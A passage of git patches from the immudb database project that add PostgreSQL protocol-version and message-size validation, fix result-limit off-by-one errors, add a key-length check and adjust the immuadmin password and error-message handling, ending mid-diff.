fb4b7073abc3aa286aa17e56fbd0d88235a59a73 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 3 Apr 2024 18:54:07 +0200 Subject: [PATCH 0996/1062] Improve validation when establishing psql session --- pkg/pgsql/errors/errors.go | 2 +- pkg/pgsql/server/initialize_session.go | 22 +++++++++++++++++++--- pkg/pgsql/server/pgmeta/pg_type.go | 14 ++++++++++---- pkg/pgsql/server/pgsql_integration_test.go | 2 +- pkg/pgsql/server/version.go | 2 +- 5 files changed, 32 insertions(+), 10 deletions(-) diff --git a/pkg/pgsql/errors/errors.go b/pkg/pgsql/errors/errors.go index 616850eaa6..0503ce6fb2 100644 --- a/pkg/pgsql/errors/errors.go +++ b/pkg/pgsql/errors/errors.go @@ -39,7 +39,7 @@ var ErrMaxParamsNumberExceeded = errors.New("number of parameters exceeded the m var ErrParametersValueSizeTooLarge = errors.New("provided parameters exceeded the maximum allowed size limit") var ErrNegativeParameterValueLen = errors.New("negative parameter length detected") var ErrMalformedMessage = errors.New("malformed message detected") -var ErrMessageTooLarge = errors.New("payload message hit allowed memory boundaries") +var ErrMessageTooLarge = errors.New("payload message hit allowed memory boundaries") func MapPgError(err error) (er bm.ErrorResp) { switch { diff --git a/pkg/pgsql/server/initialize_session.go b/pkg/pgsql/server/initialize_session.go index 89f1cc4bf1..8b0dff5346 100644 --- a/pkg/pgsql/server/initialize_session.go +++ b/pkg/pgsql/server/initialize_session.go @@ -58,7 +58,7 @@ func (s *session) InitializeSession() (err error) { s.protocolVersion = parseProtocolVersion(pvb) // SSL Request packet - if s.protocolVersion == "1234.5679" { + if s.protocolVersion == pgmeta.PgsqlSSLRequestProtocolVersion { if s.tlsConfig == nil || len(s.tlsConfig.Certificates) == 0 { if _, err = s.writeMessage([]byte(`N`)); err != nil { return err @@ -86,8 +86,20 @@ func (s *session) InitializeSession() (err error) { s.protocolVersion = parseProtocolVersion(pvb) } + if !isValidProtocolVersion(s.protocolVersion) { + return fmt.Errorf("%w: %s", pgmeta.ErrInvalidPgsqlProtocolVersion, s.protocolVersion) + } + // startup message - connStringLenght := int(binary.BigEndian.Uint32(lb) - 4) + connStringLenght := int(binary.BigEndian.Uint32(lb) - 8) + if connStringLenght < 0 { + return pserr.ErrMalformedMessage + } + + if connStringLenght > pgmeta.MaxMsgSize { + return pserr.ErrMessageTooLarge + } + connString := make([]byte, connStringLenght) if _, err := s.mr.Read(connString); err != nil { @@ -214,7 +226,7 @@ func (s *session) HandleStartup(ctx context.Context) (err error) { } // todo this is needed by jdbc driver. Here is added the minor supported version at the moment - if _, err := s.writeMessage(bm.ParameterStatus([]byte("server_version"), []byte(pgmeta.PgsqlProtocolVersion))); err != nil { + if _, err := s.writeMessage(bm.ParameterStatus([]byte("server_version"), []byte(pgmeta.PgsqlServerVersion))); err != nil { return err } @@ -227,6 +239,10 @@ func parseProtocolVersion(payload []byte) string { return fmt.Sprintf("%d.%d", major, minor) } +func isValidProtocolVersion(version string) bool { + return version == pgmeta.PgsqlProtocolVersion || version == pgmeta.PgsqlSSLRequestProtocolVersion +} + func (s *session) Close() error { s.mr.CloseConnection() diff --git a/pkg/pgsql/server/pgmeta/pg_type.go b/pkg/pgsql/server/pgmeta/pg_type.go index 071450bd2d..599d0429fc 100644 --- a/pkg/pgsql/server/pgmeta/pg_type.go +++ b/pkg/pgsql/server/pgmeta/pg_type.go @@ -17,15 +17,21 @@ limitations under the License. package pgmeta import ( + "errors" "fmt" ) -const PgTypeMapOid = 0 -const PgTypeMapLength = 1 +const ( + PgTypeMapOid = 0 + PgTypeMapLength = 1 -const PgsqlProtocolVersion = "9.6" + PgsqlProtocolVersion = "3.0" + PgsqlSSLRequestProtocolVersion = "1234.5679" + PgsqlServerVersion = "9.6" +) -var PgsqlProtocolVersionMessage = fmt.Sprintf("pgsql wire protocol %s or greater version implemented by immudb", PgsqlProtocolVersion) +var PgsqlServerVersionMessage = fmt.Sprintf("pgsql server %s or greater version implemented by immudb", PgsqlServerVersion) +var ErrInvalidPgsqlProtocolVersion = errors.New("invalid pgsql protocol version") // PgTypeMap maps the immudb type descriptor with pgsql pgtype map. // First int is the oid value (retrieved with select * from pg_type;) diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index fd7e8d7e7a..b40c173583 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -727,7 +727,7 @@ func TestPgsqlServer_VersionStatement(t *testing.T) { var version string err = db.QueryRow("SELECT version()").Scan(&version) require.NoError(t, err) - require.Equal(t, pgmeta.PgsqlProtocolVersionMessage, version) + require.Equal(t, pgmeta.PgsqlServerVersionMessage, version) _, err = db.Exec("DEALLOCATE \"_PLAN0x7fb2c0822800\"") require.NoError(t, err) diff --git a/pkg/pgsql/server/version.go b/pkg/pgsql/server/version.go index 6cbb168ec6..7b4f5d4cc9 100644 --- a/pkg/pgsql/server/version.go +++ b/pkg/pgsql/server/version.go @@ -29,7 +29,7 @@ func (s *session) writeVersionInfo() error { } rows := []*schema.Row{{ Columns: []string{"version"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: pgmeta.PgsqlProtocolVersionMessage}}}, + Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: pgmeta.PgsqlServerVersionMessage}}}, }} if _, err := s.writeMessage(bm.DataRow(rows, len(cols), nil)); err != nil { return err From bd9e2374ec83c887fd0157be899edd6e682ee185 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Sun, 7 Apr 2024 13:16:59 +0200 Subject: [PATCH 0997/1062] Add TestPgsqlServer_InvalidTraffic --- pkg/pgsql/server/pgsql_integration_test.go | 31 ++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index b40c173583..77d13a4ea3 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -24,6 +24,7 @@ import ( "encoding/hex" "fmt" "math/rand" + "net/http" "os" "testing" "time" @@ -1180,3 +1181,33 @@ func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedMultiInsertError(t *testi _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?); INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table, table), 1, 1000, 6000, "title 1", blobContent, true, 2, 2000, 12000, "title 2", blobContent2, true) require.ErrorContains(t, err, errors.ErrMaxStmtNumberExceeded.Error()) } + +func TestPgsqlServer_InvalidTraffic(t *testing.T) { + td := t.TempDir() + + options := server.DefaultOptions(). + WithDir(td). + WithPort(0). + WithPgsqlServer(true). + WithPgsqlServerPort(0). + WithMetricsServer(false). + WithWebServer(false) + + srv := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + _, err = http.Get(fmt.Sprintf("http://localhost:%d", srv.PgsqlSrv.GetPort())) + require.Error(t, err) +} From 8a1714436475ddf288f4d6b8d5ec5f2be2b617fc Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 11 Apr 2024 16:36:40 +0200 Subject: [PATCH 0998/1062] Move check --- pkg/database/sorted_set.go | 12 ++++++------ pkg/database/sql.go | 12 ++++++------ 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index dcbfdc54f1..ed7f9613cf 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -195,6 +195,12 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr return nil, err } + if l == d.maxResultSize { + return entries, fmt.Errorf("%w: found at least %d entries (the maximum limit). "+ + "Pagination over large results can be achieved by using the limit, seekKey, seekScore and seekAtTx arguments", + ErrResultSizeLimitReached, d.maxResultSize) + } + // zKey = [1+setLenLen+len(req.Set)+scoreLen+keyLenLen+1+len(req.Key)+txIDLen] scoreOff := 1 + setLenLen + len(req.Set) scoreB := binary.BigEndian.Uint64(zKey[scoreOff:]) @@ -231,12 +237,6 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr } entries.Entries = append(entries.Entries, zentry) - - if l == d.maxResultSize { - return entries, fmt.Errorf("%w: found at least %d entries (the maximum limit). "+ - "Pagination over large results can be achieved by using the limit, seekKey, seekScore and seekAtTx arguments", - ErrResultSizeLimitReached, d.maxResultSize) - } } return entries, nil diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 1b1c885f54..81a0655985 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -424,6 +424,12 @@ func (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataS return nil, err } + if l > d.maxResultSize { + return res, fmt.Errorf("%w: found at least %d rows (the maximum limit). "+ + "Query constraints can be applied using the LIMIT clause", + ErrResultSizeLimitReached, d.maxResultSize) + } + rrow := &schema.Row{ Columns: make([]string, len(res.Columns)), Values: make([]*schema.SQLValue, len(res.Columns)), @@ -443,12 +449,6 @@ func (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataS } res.Rows = append(res.Rows, rrow) - - if l == d.maxResultSize { - return res, fmt.Errorf("%w: found at least %d rows (the maximum limit). "+ - "Query constraints can be applied using the LIMIT clause", - ErrResultSizeLimitReached, d.maxResultSize) - } } return res, nil From a68b05b0aa2fd89919ab22283ad8b78eeb95dd22 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 12 Apr 2024 08:26:31 +0200 Subject: [PATCH 0999/1062] Fix off by one issue with limit option --- pkg/database/database.go | 21 ++------------------- pkg/database/database_test.go | 8 ++++---- pkg/database/scan.go | 8 -------- pkg/database/scan_test.go | 28 ++++++++++++++++++---------- pkg/database/sorted_set.go | 8 -------- pkg/database/sql.go | 2 +- pkg/database/sql_test.go | 8 ++++---- 7 files changed, 29 insertions(+), 54 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index e9e97760df..de735151d5 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1473,7 +1473,6 @@ func (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxL defer d.releaseTx(tx) limit := int(req.Limit) - if req.Limit == 0 { limit = d.maxResultSize } @@ -1506,13 +1505,6 @@ func (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxL } txList.Txs = append(txList.Txs, sTx) - - if l == d.maxResultSize { - return txList, - fmt.Errorf("%w: found at least %d entries (maximum limit). "+ - "Pagination over large results can be achieved by using the limit and initialTx arguments", - ErrResultSizeLimitReached, d.maxResultSize) - } } return txList, nil @@ -1546,14 +1538,13 @@ func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.E } limit := int(req.Limit) - - if req.Limit == 0 { + if limit == 0 { limit = d.maxResultSize } key := EncodeKey(req.Key) - valRefs, hCount, err := d.st.History(key, req.Offset, req.Desc, limit) + valRefs, _, err := d.st.History(key, req.Offset, req.Desc, limit) if err != nil && err != store.ErrOffsetOutOfRange { return nil, err } @@ -1580,14 +1571,6 @@ func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.E Revision: valRef.HC(), } } - - if limit == d.maxResultSize && hCount >= uint64(d.maxResultSize) { - return list, - fmt.Errorf("%w: found at least %d entries (the maximum limit). "+ - "Pagination over large results can be achieved by using the limit and initialTx arguments", - ErrResultSizeLimitReached, d.maxResultSize) - } - return list, nil } diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 8e157cbf96..1bac5743d0 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -914,7 +914,7 @@ func TestTxScan(t *testing.T) { }, }, }) - require.ErrorIs(t, err, ErrResultSizeLimitReached) + require.NoError(t, err) require.Len(t, txList.Txs, len(kvs)) for i := 0; i < len(kvs); i++ { @@ -952,7 +952,7 @@ func TestTxScan(t *testing.T) { txList, err := db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: initialState.TxId + 1, }) - require.ErrorIs(t, err, ErrResultSizeLimitReached) + require.NoError(t, err) require.Len(t, txList.Txs, len(kvs)) for i := 0; i < len(kvs); i++ { @@ -1008,7 +1008,7 @@ func TestHistory(t *testing.T) { Key: kvs[0].Key, SinceTx: lastTx, }) - require.ErrorIs(t, err, ErrResultSizeLimitReached) + require.NoError(t, err) for i, val := range inc.Entries { require.Equal(t, kvs[0].Key, val.Key) @@ -1025,7 +1025,7 @@ func TestHistory(t *testing.T) { SinceTx: lastTx, Desc: true, }) - require.ErrorIs(t, err, ErrResultSizeLimitReached) + require.NoError(t, err) for i, val := range dec.Entries { require.Equal(t, kvs[0].Key, val.Key) diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 276363c0ac..6b3484b5fa 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -43,7 +43,6 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries } limit := int(req.Limit) - if req.Limit == 0 { limit = d.maxResultSize } @@ -100,13 +99,6 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries } entries.Entries = append(entries.Entries, e) - - if l == d.maxResultSize { - return entries, - fmt.Errorf("%w: found at least %d entries (the maximum limit). "+ - "Pagination over large results can be achieved by using the limit and initialTx arguments", - ErrResultSizeLimitReached, d.maxResultSize) - } } return entries, nil diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index e4c599b042..a61612fe40 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -31,8 +31,11 @@ func TestStoreScan(t *testing.T) { db.maxResultSize = 3 - db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) - db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`bbb`), Value: []byte(`item2`)}}}) + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}}) + require.NoError(t, err) + + _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`bbb`), Value: []byte(`item2`)}}}) + require.NoError(t, err) scanOptions := schema.ScanRequest{ Prefix: []byte(`z`), @@ -51,6 +54,9 @@ func TestStoreScan(t *testing.T) { _, err = db.Scan(context.Background(), nil) require.Equal(t, store.ErrIllegalArguments, err) + _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`acb`), Value: []byte(`item4`)}}}) + require.NoError(t, err) + scanOptions = schema.ScanRequest{ SeekKey: []byte(`b`), Prefix: []byte(`a`), @@ -70,11 +76,13 @@ func TestStoreScan(t *testing.T) { list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) - require.Exactly(t, 2, len(list.Entries)) - require.Equal(t, list.Entries[0].Key, []byte(`abc`)) - require.Equal(t, list.Entries[0].Value, []byte(`item3`)) - require.Equal(t, list.Entries[1].Key, []byte(`aaa`)) - require.Equal(t, list.Entries[1].Value, []byte(`item1`)) + require.Exactly(t, 3, len(list.Entries)) + require.Equal(t, list.Entries[0].Key, []byte(`acb`)) + require.Equal(t, list.Entries[0].Value, []byte(`item4`)) + require.Equal(t, list.Entries[1].Key, []byte(`abc`)) + require.Equal(t, list.Entries[1].Value, []byte(`item3`)) + require.Equal(t, list.Entries[2].Key, []byte(`aaa`)) + require.Equal(t, list.Entries[2].Value, []byte(`item1`)) scanOptions1 := schema.ScanRequest{ SeekKey: []byte(`a`), @@ -84,14 +92,14 @@ func TestStoreScan(t *testing.T) { } list1, err := db.Scan(context.Background(), &scanOptions1) - require.ErrorIs(t, err, ErrResultSizeLimitReached) + require.NoError(t, err) require.Exactly(t, 3, len(list1.Entries)) require.Equal(t, list1.Entries[0].Key, []byte(`aaa`)) require.Equal(t, list1.Entries[0].Value, []byte(`item1`)) require.Equal(t, list1.Entries[1].Key, []byte(`abc`)) require.Equal(t, list1.Entries[1].Value, []byte(`item3`)) - require.Equal(t, list1.Entries[2].Key, []byte(`bbb`)) - require.Equal(t, list1.Entries[2].Value, []byte(`item2`)) + require.Equal(t, list1.Entries[2].Key, []byte(`acb`)) + require.Equal(t, list1.Entries[2].Value, []byte(`item4`)) } func TestStoreScanPrefix(t *testing.T) { diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index ed7f9613cf..dd34bcb141 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -109,7 +109,6 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr } limit := int(req.Limit) - if req.Limit == 0 { limit = d.maxResultSize } @@ -185,7 +184,6 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr defer kvsnap.Close() entries := &schema.ZEntries{} - for l := 1; l <= limit; l++ { zKey, _, err := r.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { @@ -195,12 +193,6 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr return nil, err } - if l == d.maxResultSize { - return entries, fmt.Errorf("%w: found at least %d entries (the maximum limit). "+ - "Pagination over large results can be achieved by using the limit, seekKey, seekScore and seekAtTx arguments", - ErrResultSizeLimitReached, d.maxResultSize) - } - // zKey = [1+setLenLen+len(req.Set)+scoreLen+keyLenLen+1+len(req.Key)+txIDLen] scoreOff := 1 + setLenLen + len(req.Set) scoreB := binary.BigEndian.Uint64(zKey[scoreOff:]) diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 81a0655985..e723286a74 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -425,7 +425,7 @@ func (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataS } if l > d.maxResultSize { - return res, fmt.Errorf("%w: found at least %d rows (the maximum limit). "+ + return res, fmt.Errorf("%w: found more than %d rows (the maximum limit). "+ "Query constraints can be applied using the LIMIT clause", ErrResultSizeLimitReached, d.maxResultSize) } diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index 2fffcf4e1d..62f195599a 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -65,7 +65,7 @@ func TestSQLExecAndQuery(t *testing.T) { require.Len(t, res.Rows, 4) ntx, ctxs, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` - INSERT INTO table1(title, active, payload) VALUES ('title1', null, null), ('title2', true, null), ('title3', false, x'AADD') + INSERT INTO table1(title, active, payload) VALUES ('title1', null, null), ('title2', true, null), ('title3', false, x'AADD'), ('title4', false, x'ABCD') `}) require.NoError(t, err) require.Nil(t, ntx) @@ -91,7 +91,7 @@ func TestSQLExecAndQuery(t *testing.T) { require.NoError(t, err) require.Len(t, res.Rows, 1) - q = "SELECT t.id, t.id as id2, title, active, payload FROM table1 t WHERE id <= 3 AND active != @active" + q = "SELECT t.id, t.id as id2, title, active, payload FROM table1 t WHERE id <= 4 AND active != @active" res, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) require.ErrorIs(t, err, ErrResultSizeLimitReached) require.Len(t, res.Rows, 2) @@ -143,7 +143,7 @@ func TestSQLExecAndQuery(t *testing.T) { _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", - PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 4}}}, + PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 5}}}, }, ProveSinceTx: 0, }) @@ -173,7 +173,7 @@ func TestSQLExecAndQuery(t *testing.T) { _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", - PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 4}}}, + PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 5}}}, }, ProveSinceTx: 0, }) From c804ded4a7e76074ebebb84d97f0270fa5a5fbc8 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 12 Apr 2024 17:08:15 +0200 Subject: [PATCH 1000/1062] Add key len check in UpsertIntoStmt.execAt() --- embedded/sql/stmt.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index ee02cfc23a..a939e4f5cd 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -842,6 +842,9 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st // pk entry mappedPKey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) + if len(mappedPKey) > MaxKeyLen { + return nil, ErrMaxKeyLengthExceeded + } _, err = tx.get(ctx, mappedPKey) if err != nil && !errors.Is(err, store.ErrKeyNotFound) { From e0fab9420b9ce114b7868c2ddde95e5110dc041b Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 12 Apr 2024 17:17:59 +0200 Subject: [PATCH 1001/1062] Fix test failure --- embedded/sql/engine_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 6e11f12765..caa846bbe3 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1806,7 +1806,7 @@ func TestInsertIntoEdgeCases(t *testing.T) { }) t.Run("insertion in table with varchar pk", func(t *testing.T) { - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE languages (code VARCHAR[255],name VARCHAR[255],PRIMARY KEY code)", nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE languages (code VARCHAR[128],name VARCHAR[255],PRIMARY KEY code)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO languages (code,name) VALUES ('code1', 'name1')", nil) From 986e480cdffbfa631d554b7afe44d3a4ac73a9c8 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 12 Apr 2024 17:29:00 +0200 Subject: [PATCH 1002/1062] Fix additional test --- embedded/sql/engine_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index caa846bbe3..6e52aa9203 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -2102,7 +2102,7 @@ func TestErrorDuringUpdate(t *testing.T) { _, _, err := engine.Exec( context.Background(), nil, ` - create table mytable(id varchar[256], value integer, primary key id); + create table mytable(id varchar[128], value integer, primary key id); insert into mytable(id, value) values('aa',12), ('ab',13); `, nil) require.NoError(t, err) From cb48e614160c5f74df0593e6addac8aa37ab8915 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 19 Apr 2024 14:19:03 +0200 Subject: [PATCH 1003/1062] unwrap grpc messages Signed-off-by: Stefano Scafiti --- cmd/helper/error.go | 9 +++++++++ cmd/immuadmin/command/commandline.go | 3 +++ cmd/immuclient/cli/cli.go | 3 ++- cmd/immuclient/command/commandline.go | 3 +++ 4 files changed, 17 insertions(+), 1 deletion(-) diff --git a/cmd/helper/error.go b/cmd/helper/error.go index a4e9161aef..082ec6d67c 100644 --- a/cmd/helper/error.go +++ b/cmd/helper/error.go @@ -48,3 +48,12 @@ func QuitWithUserError(err error) { func OverrideQuitter(quitter func(int)) { osexit = quitter } + +func UnwrapMessage(msg interface{}) interface{} { + if err, ok := msg.(error); ok { + if statusErr, isStatusErr := status.FromError(err); isStatusErr { + return statusErr.Message() + } + } + return msg +} diff --git a/cmd/immuadmin/command/commandline.go b/cmd/immuadmin/command/commandline.go index 421c7be592..c2a2b16059 100644 --- a/cmd/immuadmin/command/commandline.go +++ b/cmd/immuadmin/command/commandline.go @@ -23,6 +23,7 @@ import ( "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" + "github.com/codenotary/immudb/cmd/helper" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/immuos" @@ -96,6 +97,8 @@ func (cl *commandline) Register(rootCmd *cobra.Command) *cobra.Command { } func (cl *commandline) quit(msg interface{}) { + msg = helper.UnwrapMessage(msg) + if cl.onError == nil { c.QuitToStdErr(msg) } diff --git a/cmd/immuclient/cli/cli.go b/cmd/immuclient/cli/cli.go index 32ba464f5f..a6cf2971d6 100644 --- a/cmd/immuclient/cli/cli.go +++ b/cmd/immuclient/cli/cli.go @@ -24,6 +24,7 @@ import ( "runtime" "strings" + "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immuclient/immuc" "github.com/peterh/liner" "github.com/spf13/viper" @@ -234,7 +235,7 @@ func (cli *cli) runCommand(arrCommandStr []string) { cli.immucl.SetValueOnly(false) } if err != nil { - fmt.Fprintf(os.Stdout, "ERROR: %s \n", err.Error()) + fmt.Fprintf(os.Stdout, "ERROR: %s \n", helper.UnwrapMessage(err)) return } fmt.Fprintf(os.Stdout, "%v \n", result) diff --git a/cmd/immuclient/command/commandline.go b/cmd/immuclient/command/commandline.go index 9674c5ece3..a43ded9117 100644 --- a/cmd/immuclient/command/commandline.go +++ b/cmd/immuclient/command/commandline.go @@ -1,6 +1,7 @@ package immuclient import ( + "github.com/codenotary/immudb/cmd/helper" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immuclient/immuc" "github.com/codenotary/immudb/pkg/client" @@ -99,6 +100,8 @@ func (cl *commandline) disconnect(cmd *cobra.Command, args []string) { } func (cl *commandline) quit(msg interface{}) { + msg = helper.UnwrapMessage(msg) + if cl.onError == nil { c.QuitToStdErr(msg) } From 8721fc8351313d897bb2b24020c15511e066a360 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 19 Apr 2024 14:21:03 +0200 Subject: [PATCH 1004/1062] Allow the user to force unsafe password in immuadmin Signed-off-by: Stefano Scafiti --- cmd/helper/terminal.go | 3 +- cmd/immuadmin/command/commandline.go | 3 ++ cmd/immuadmin/command/login.go | 4 +-- cmd/immuadmin/command/user.go | 43 +++++++++++++++++++++------- pkg/server/server.go | 2 +- pkg/server/server_test.go | 6 ++-- pkg/server/user.go | 20 ++++--------- 7 files changed, 49 insertions(+), 32 deletions(-) diff --git a/cmd/helper/terminal.go b/cmd/helper/terminal.go index 817a0ec305..1f0be7d41e 100644 --- a/cmd/helper/terminal.go +++ b/cmd/helper/terminal.go @@ -2,11 +2,12 @@ package helper import ( "fmt" - "golang.org/x/crypto/ssh/terminal" "io" "io/ioutil" "os" "strings" + + "golang.org/x/crypto/ssh/terminal" ) type terminalReader struct { diff --git a/cmd/immuadmin/command/commandline.go b/cmd/immuadmin/command/commandline.go index c2a2b16059..77660c6aa4 100644 --- a/cmd/immuadmin/command/commandline.go +++ b/cmd/immuadmin/command/commandline.go @@ -19,6 +19,7 @@ package immuadmin import ( "context" "fmt" + "os" "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" @@ -55,6 +56,7 @@ type commandline struct { config c.Config immuClient client.ImmuClient passwordReader c.PasswordReader + terminalReader c.TerminalReader context context.Context ts tokenservice.TokenService onError func(msg interface{}) @@ -65,6 +67,7 @@ func NewCommandLine() *commandline { cl := &commandline{} cl.config.Name = "immuadmin" cl.passwordReader = c.DefaultPasswordReader + cl.terminalReader = c.NewTerminalReader(os.Stdin) cl.context = context.Background() // return cl diff --git a/cmd/immuadmin/command/login.go b/cmd/immuadmin/command/login.go index ed21a6b40d..9033b37d01 100644 --- a/cmd/immuadmin/command/login.go +++ b/cmd/immuadmin/command/login.go @@ -59,7 +59,7 @@ func (cl *commandline) login(cmd *cobra.Command) { if string(responseWarning) == auth.WarnDefaultAdminPassword { c.PrintfColorW(cmd.OutOrStdout(), c.Yellow, "SECURITY WARNING: %s\n", responseWarning) - changedPassMsg, newPass, err := cl.changeUserPassword(userStr, pass) + changedPassMsg, newPass, err := cl.changeUserPassword(cmd, userStr, pass) if err != nil { cl.quit(err) return err @@ -70,7 +70,7 @@ func (cl *commandline) login(cmd *cobra.Command) { return err } - fmt.Fprint(cmd.OutOrStdout(), changedPassMsg) + fmt.Fprintln(cmd.OutOrStdout(), changedPassMsg) } return nil diff --git a/cmd/immuadmin/command/user.go b/cmd/immuadmin/command/user.go index ab1f4020ae..d3e167d79a 100644 --- a/cmd/immuadmin/command/user.go +++ b/cmd/immuadmin/command/user.go @@ -30,6 +30,8 @@ import ( "github.com/spf13/cobra" ) +const unsecurePasswordMsg = "A strong password (containing upper and lower case letters, digits and symbols) would be advisable" + func (cl *commandline) user(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "user command", @@ -60,11 +62,11 @@ func (cl *commandline) user(cmd *cobra.Command) { immuadmin user create user1 readwrite mydb immuadmin user create user1 admin mydb`, RunE: func(cmd *cobra.Command, args []string) error { - resp, err := cl.userCreate(args) + resp, err := cl.userCreate(cmd, args) if err != nil { c.QuitToStdErr(err) } - fmt.Fprint(cmd.OutOrStdout(), resp) + fmt.Fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.RangeArgs(2, 3), @@ -83,8 +85,8 @@ immuadmin user create user1 admin mydb`, return fmt.Errorf("Error Reading 